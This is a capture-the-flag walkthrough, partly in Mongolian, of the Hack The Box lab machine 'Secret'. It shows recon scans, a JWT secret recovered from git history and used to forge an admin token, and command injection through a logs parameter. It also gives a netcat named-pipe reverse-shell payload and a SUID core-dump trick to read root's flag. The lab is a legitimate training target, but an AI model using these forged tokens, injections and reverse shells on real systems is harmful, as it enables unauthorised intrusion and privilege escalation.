1. IP Address
# Machine Address
10.10.11.120
# Local Address
10.10.14.140
2. Nmap & Nikto
2.1 Nmap
nmap -sV -sC -oA nmap/secret 10.10.11.120
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-18 01:24 EST
Nmap scan report for 10.10.11.120
Host is up (0.24s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.31 seconds
nmap -vvv -p 22,80,3000 -A -v -sC -sV -oN intial.nmap 10.10.11.120
2.2 Nikto
nikto -h 10.10.11.120
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.11.120
+ Target Hostname: 10.10.11.120
+ Target Port: 80
+ Start Time: 2022-02-18 01:25:46 (GMT-5)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0 (Ubuntu)
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
3. Source Code
Download хэсэгт files.zip:
total 84
drwxrwxr-x 1 ca4mi ca4mi 182 Sep 3 01:57 .
drwxr-xr-x 1 ca4mi ca4mi 36 Feb 18 01:29 ..
-rw-rw-r-- 1 ca4mi ca4mi 72 Sep 3 01:59 .env
drwxrwxr-x 1 ca4mi ca4mi 144 Sep 8 14:33 .git
-rw-rw-r-- 1 ca4mi ca4mi 885 Sep 3 01:56 index.js
drwxrwxr-x 1 ca4mi ca4mi 14 Aug 13 2021 model
drwxrwxr-x 1 ca4mi ca4mi 4158 Aug 13 2021 node_modules
-rw-rw-r-- 1 ca4mi ca4mi 491 Aug 13 2021 package.json
-rw-rw-r-- 1 ca4mi ca4mi 69452 Aug 13 2021 package-lock.json
drwxrwxr-x 1 ca4mi ca4mi 20 Sep 3 01:54 public
drwxrwxr-x 1 ca4mi ca4mi 80 Sep 3 02:32 routes
drwxrwxr-x 1 ca4mi ca4mi 22 Aug 13 2021 src
-rw-rw-r-- 1 ca4mi ca4mi 651 Aug 13 2021 validations.js
.env
:
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
Gittools .git
:
mkdir dump
bash /opt/tools/Extractor/extractor.sh local-web/ dump
curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/register --data '{"foo": "bar"}'
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.120:80...
* Connected to secret.htb (10.10.11.120) port 80 (#0)
> POST /api/user/register HTTP/1.1
> Host: secret.htb
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 14
>
* upload completely sent off: 14 out of 14 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 400 Bad Request
< Server: nginx/1.18.0 (Ubuntu)
< Date: Fri, 18 Feb 2022 07:54:16 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 18
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"12-FCVaNPnXYf0hIGYsTUTYByRq5/U"
<
* Connection #0 to host secret.htb left intact
"name" is required
"name" is required
OK
validation.js
:
const Joi = require('@hapi/joi')
// register validation
const registerValidation = data =>{
const schema = {
name: Joi.string().min(6).required(),
email: Joi.string().min(6).required().email(),
password: Joi.string().min(6).required()
};
return Joi.validate(data, schema)
}
// login validation
const loginValidation = data => {
const schema2 = {
email: Joi.string().min(6).required().email(),
password: Joi.string().min(6).required()
};
return Joi.validate(data, schema2)
}
module.exports.registerValidation = registerValidation
module.exports.loginValidation = loginValidation
auth.js
:
// create jwt
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
res.header('auth-token', token).send(token);
TOKEN_SECRET
?
.env
:
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
dump
:
drwxr-xr-x 1 ca4mi ca4mi 204 Feb 18 02:50 0-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
drwxr-xr-x 1 ca4mi ca4mi 220 Feb 18 02:51 1-55fe756a29268f9b4e786ae468952ca4a8df1bd8
drwxr-xr-x 1 ca4mi ca4mi 204 Feb 18 02:53 2-e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
drwxr-xr-x 1 ca4mi ca4mi 204 Feb 18 02:54 3-de0a46b5107a2f4d26e348303e76d85ae4870934
drwxr-xr-x 1 ca4mi ca4mi 220 Feb 18 02:56 4-3a367e735ee76569664bf7754eaaade7c735d702
drwxr-xr-x 1 ca4mi ca4mi 204 Feb 18 02:57 5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb
/dump/1-55fe756a29268f9b4e786ae468952ca4a8df1bd8
:
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
verifytoken.js
:
const jwt = require("jsonwebtoken");
module.exports = function (req, res, next) {
const token = req.header("auth-token");
if (!token) return res.status(401).send("Access Denied");
try {
const verified = jwt.verify(token, process.env.TOKEN_SECRET);
req.user = verified;
next();
} catch (err) {
res.status(400).send("Invalid Token");
}
};
4. Register User
Create User:
curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/register --data '{"name": "ttttyly","email":"ttttyly@ttttyly.com","password":"ttttyly"}'
Login:
curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/login --data '{"email":"ttttyly@ttttyly.com","password":"ttttyly"}'
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.120:80...
* Connected to secret.htb (10.10.11.120) port 80 (#0)
> POST /api/user/login HTTP/1.1
> Host: secret.htb
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 52
>
* upload completely sent off: 52 out of 52 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Sun, 20 Feb 2022 05:02:35 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 212
< Connection: keep-alive
< X-Powered-By: Express
< auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjExY2I1M2IyODliNDA0NWE5MWJhYTQiLCJuYW1lIjoidHR0dHlseSIsImVtYWlsIjoidHR0dHlseUB0dHR0eWx5LmNvbSIsImlhdCI6MTY0NTMzMzM1NX0.rjAh8i130oVnFzC6pG1i1ik0yLrUIaecTygnXdH6M64
< ETag: W/"d4-oM8BhVITzPnt1fTP3GjDWP1r3pE"
<
* Connection #0 to host secret.htb left intact
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjExY2I1M2IyODliNDA0NWE5MWJhYTQiLCJuYW1lIjoidHR0dHlseSIsImVtYWlsIjoidHR0dHlseUB0dHR0eWx5LmNvbSIsImlhdCI6MTY0NTMzMzM1NX0.rjAh8i130oVnFzC6pG1i1ik0yLrUIaecTygnXdH6M64
Нэвтрэн орсон
curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjExY2I1M2IyODliNDA0NWE5MWJhYTQiLCJuYW1lIjoidHR0dHlseSIsImVtYWlsIjoidHR0dHlseUB0dHR0eWx5LmNvbSIsImlhdCI6MTY0NTMzMzM1NX0.rjAh8i130oVnFzC6pG1i1ik0yLrUIaecTygnXdH6M64
< ETag: W/"d4-oM8BhVITzPnt1fTP3GjDWP1r3pE'
{"role":{"role":"you are normal user","desc":"ttttyly"}}
JWT Token хөрвүүлэх: https://github.com/ticarpi/jwt_tool
tar xvzf jwt_tool-2.2.5.tar.gz
python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjExY2I1M2IyODliNDA0NWE5MWJhYTQiLCJuYW1lIjoidHR0dHlseSIsImVtYWlsIjoidHR0dHlseUB0dHR0eWx5LmNvbSIsImlhdCI6MTY0NTMzMzM1NX0.rjAh8i130oVnFzC6pG1i1ik0yLrUIaecTygnXdH6M64
< ETag: W/"d4-oM8BhVITzPnt1fTP3GjDWP1r3pE
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "HS256"
[+] typ = "JWT"
Token payload values:
[+] _id = "6211cb53b289b4045a91baa4"
[+] name = "ttttyly"
[+] email = "ttttyly@ttttyly.com"
[+] iat = 1645333355 ==> TIMESTAMP = 2022-02-20 00:02:35 (UTC)
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
Source -с олдсон key нэмэх:
python3 jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjExY2I1M2IyODliNDA0NWE5MWJhYTQiLCJuYW1lIjoidHR0dHlseSIsImVtYWlsIjoidHR0dHlseUB0dHR0eWx5LmNvbSIsImlhdCI6MTY0NTMzMzM1NX0.rjAh8i130oVnFzC6pG1i1ik0yLrUIaecTygnXdH6M64
< ETag: W/"d4-oM8BhVITzPnt1fTP3GjDWP1r3pE
Нэмсэн token:
Original JWT:
jwttool_cbf8204ec14c30927f8819921cb0c4ec - Tampered token - HMAC Signing:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjExY2I1M2IyODliNDA0NWE5MWJhYTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InR0dHR5bHlAdHR0dHlseS5jb20iLCJpYXQiOjE2NDUzMzMzNTV9.2SH9m9C4nSVNM27fKSAoPtCAqhtMEqajjzkMkt0W79M
Admin эсэх шалгах:
curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjExY2I1M2IyODliNDA0NWE5MWJhYTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InR0dHR5bHlAdHR0dHlseS5jb20iLCJpYXQiOjE2NDUzMzMzNTV9.2SH9m9C4nSVNM27fKSAoPtCAqhtMEqajjzkMkt0W79M'
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}
Admin мөн байсан. passwd log?file=
ашиглан шалгах:
curl 'http://secret.htb/api/logs?file=/etc/passwd' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjExY2I1M2IyODliNDA0NWE5MWJhYTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InR0dHR5bHlAdHR0dHlseS5jb20iLCJpYXQiOjE2NDUzMzMzNTV9.2SH9m9C4nSVNM27fKSAoPtCAqhtMEqajjzkMkt0W79M'
{"killed":false,"code":128,"signal":null,"cmd":"git log --oneline /etc/passwd"}┌
5. Exploitation
curl 'http://secret.htb/api/logs?file=;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjExY2I1M2IyODliNDA0NWE5MWJhYTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InR0dHR5bHlAdHR0dHlseS5jb20iLCJpYXQiOjE2NDUzMzMzNTV9.2SH9m9C4nSVNM27fKSAoPtCAqhtMEqajjzkMkt0W79M'
"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\nuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n"
dasith
curl via RCE payload:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 9001 >/tmp/f
CyperChef URL Encoded
:
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%2010%2E10%2E14%2E10%209001%20%3E%2Ftmp%2Ff
5.1 Reverse Shell
nc -lvnp 9001
curl 'http://secret.htb/api/logs?file=;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%2010%2E10%2E14%2E10%209001%20%3E%2Ftmp%2Ff' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBmNTZlMGFlMGM5NzA0NWU3MGQwMTIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InR0dHR5bHlAdHR0dHlseS5jb20iLCJpYXQiOjE2NDUxNzI2OTR9.9atPnYQ9Vorv3rT4p54ngJiypMXVQXayPLOOppuxA2o'
5.2 Shell balance
python3 -c 'import pty;pty.spawn("/bin/bash")'
ctrl+z
stty raw -echo
f+g [enter enter]
буцаад nc орлоо
export TERM=xterm
5.3 user.txt
id:
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
user.txt:
762a20**********
5.4 linpeas.sh`
/tmp
/tmp/crash-report
/tmp/crash-report/Architecture
/tmp/crash-report/CoreDump
/tmp/crash-report/CoreDump/Architecture
/tmp/crash-report/CoreDump/CoreDump
/tmp/crash-report/CoreDump/Date
/tmp/crash-report/CoreDump/DistroRelease
/tmp/crash-report/CoreDump/ExecutablePath
#)You_can_write_even_more_files_inside_last_directory
/tmp/crash-report/CrashCounter
/tmp/crash-report/Date
/tmp/crash-report/DistroRelease
/tmp/crash-report/ExecutablePath
/tmp/crash-report/ExecutableTimestamp
#)You_can_write_even_more_files_inside_last_directory
6. Enumeration
find / -type f -perm -u=s 2>/dev/null
cd /opt
Out:
drwxr-xr-x 2 root root 4096 Oct 7 10:06 .
drwxr-xr-x 20 root root 4096 Oct 7 15:01 ..
-rw-r--r-- 1 root root 3736 Oct 7 10:01 code.c
-rw-r--r-- 1 root root 16384 Oct 7 10:01 .code.c.swp
-rwsr-xr-x 1 root root 17824 Oct 7 10:03 count
-rw-r--r-- 1 root root 4622 Oct 7 10:04 valgrind.log
count
, code.c
ssh keygen local дээр үүсгэнэ:
ssh-keygen -t rsa -b 4096 -C 'drt@htb' -f secret.htb -P ''
secret.hub.pub
ssh-rsa AAAAB3NzaC1yc2EAAAA********************xiPOw== ca@htb
хуулах auth_key (machine vm)
ssh -i secret.htb dasith@10.10.11.120
хоёр ssh нээнэ
ssh 1:
dasith@secret:/opt$ ./count -p
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]: y
Path:
ssh 2:
dasith@secret:/opt$ ps -aux | grep count
root 824 0.0 0.1 235676 7472 ? Ssl Feb19 0:01 /usr/lib/accountsservice/accounts-daemon
dasith 3417 0.0 0.0 2488 576 pts/2 S+ Feb19 0:00 ./count
dasith 4596 0.0 0.0 2488 588 pts/4 S+ 05:28 0:00 ./count -p
dasith 4606 0.0 0.0 6432 736 pts/5 S+ 05:28 0:00 grep --color=auto count
kill -BUS 4596
tmp
дотор caca нэртэй фолдер үүсгээд дотор нь unpack хийнэ:
apport-unpack _opt_count.1000.crash /tmp/caca
dasith@secret:/tmp/caca$ ls -la
total 444
drwxrwxr-x 2 dasith dasith 4096 Feb 20 05:32 .
drwxrwxrwt 15 root root 4096 Feb 20 05:32 ..
-rw-rw-r-- 1 dasith dasith 5 Feb 20 05:32 Architecture
-rw-rw-r-- 1 dasith dasith 380928 Feb 20 05:32 CoreDump
-rw-rw-r-- 1 dasith dasith 1 Feb 20 05:32 CrashCounter
-rw-rw-r-- 1 dasith dasith 24 Feb 20 05:32 Date
-rw-rw-r-- 1 dasith dasith 12 Feb 20 05:32 DistroRelease
-rw-rw-r-- 1 dasith dasith 10 Feb 20 05:32 ExecutablePath
-rw-rw-r-- 1 dasith dasith 10 Feb 20 05:32 ExecutableTimestamp
-rw-rw-r-- 1 dasith dasith 2 Feb 20 05:32 _LogindSession
-rw-rw-r-- 1 dasith dasith 5 Feb 20 05:32 ProblemType
-rw-rw-r-- 1 dasith dasith 7 Feb 20 05:32 ProcCmdline
-rw-rw-r-- 1 dasith dasith 4 Feb 20 05:32 ProcCwd
-rw-rw-r-- 1 dasith dasith 97 Feb 20 05:32 ProcEnviron
-rw-rw-r-- 1 dasith dasith 2144 Feb 20 05:32 ProcMaps
-rw-rw-r-- 1 dasith dasith 1335 Feb 20 05:32 ProcStatus
-rw-rw-r-- 1 dasith dasith 2 Feb 20 05:32 Signal
-rw-rw-r-- 1 dasith dasith 29 Feb 20 05:32 Uname
-rw-rw-r-- 1 dasith dasith 3 Feb 20 05:32 UserGroups
strings CoreDump
Root.txt
8599fb*********